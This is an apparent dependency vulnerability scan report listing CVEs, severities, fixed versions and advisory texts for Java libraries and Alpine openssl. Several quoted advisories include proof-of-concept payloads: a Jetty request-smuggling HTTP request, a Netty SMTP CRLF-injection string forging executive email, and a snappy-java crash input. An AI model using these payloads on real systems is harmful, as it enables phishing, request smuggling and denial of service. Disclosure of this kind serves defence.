CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
+ +
Description +
+ +Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. + +The attacks involves the modification of DOCTYPE declaration in  XML configuration files. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) + +pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
+high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. + +
+
+ +medium 5.8: CVE--2025--53864 Uncontrolled Recursion + + + + + + + + +
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
+ +
Description +
+ +Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.23.4
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.11.0 (maven) + +pkg:maven/commons-io/commons-io@2.11.0
+high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
+ +
Description +
+ +Uncontrolled Resource Consumption vulnerability in Apache Commons IO. + +The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. + + +This issue affects Apache Commons IO: from 2.0 before 2.14.0. + +Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) + +pkg:maven/io.netty/netty-handler@4.1.94.Final
+high 7.5: CVE--2025--24970 Improper Input Validation + + + + + + + + +
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
+ +
Description +
+ +### Impact +When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. + +### Workarounds +As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: + +``` +SslContext context = ...; +SslHandler handler = context.newHandler(....); +``` + +to: + +``` +SslContext context = ...; +SSLEngine engine = context.newEngine(....); +SslHandler handler = new SslHandler(engine, ....); +``` + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) + +pkg:maven/io.airlift/aircompressor@0.25
+high 8.6: CVE--2024--36114 Out-of-bounds Read + + + + + + + + +
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
+ +
Description +
+ +### Summary +All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). + +### Details +When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. + +Users should update to Aircompressor 0.27 or newer where these issues have been fixed. + +### Impact +When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) + +pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
+high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. + +### Scope + +All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 + +### Details +While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. + +### PoC +Compile and run the following code: +``` +package org.example; +import org.xerial.snappy.SnappyInputStream; + +import java.io.*; + +public class Main { + + public static void main(String[] args) throws IOException { + byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; + SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); + byte[] out = new byte[50]; + try { + in.read(out); + } + catch (Exception ignored) { + } + } +} +``` + +### Impact +Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. + +### Credits +Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. + +We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 ch.qos.logback/logback-classic 1.2.10 (maven) + +pkg:maven/ch.qos.logback/logback-classic@1.2.10
+high 7.1: CVE--2023--6378 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
+ +
Description +
+ +A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. + +This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.jboss.xnio/xnio-api 3.8.8.Final (maven) + +pkg:maven/org.jboss.xnio/xnio-api@3.8.8.Final
+high 7.5: CVE--2023--5685 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=3.8.13.Final
Fixed version3.8.14.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.474%
EPSS Percentile64th percentile
+ +
Description +
+ +A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
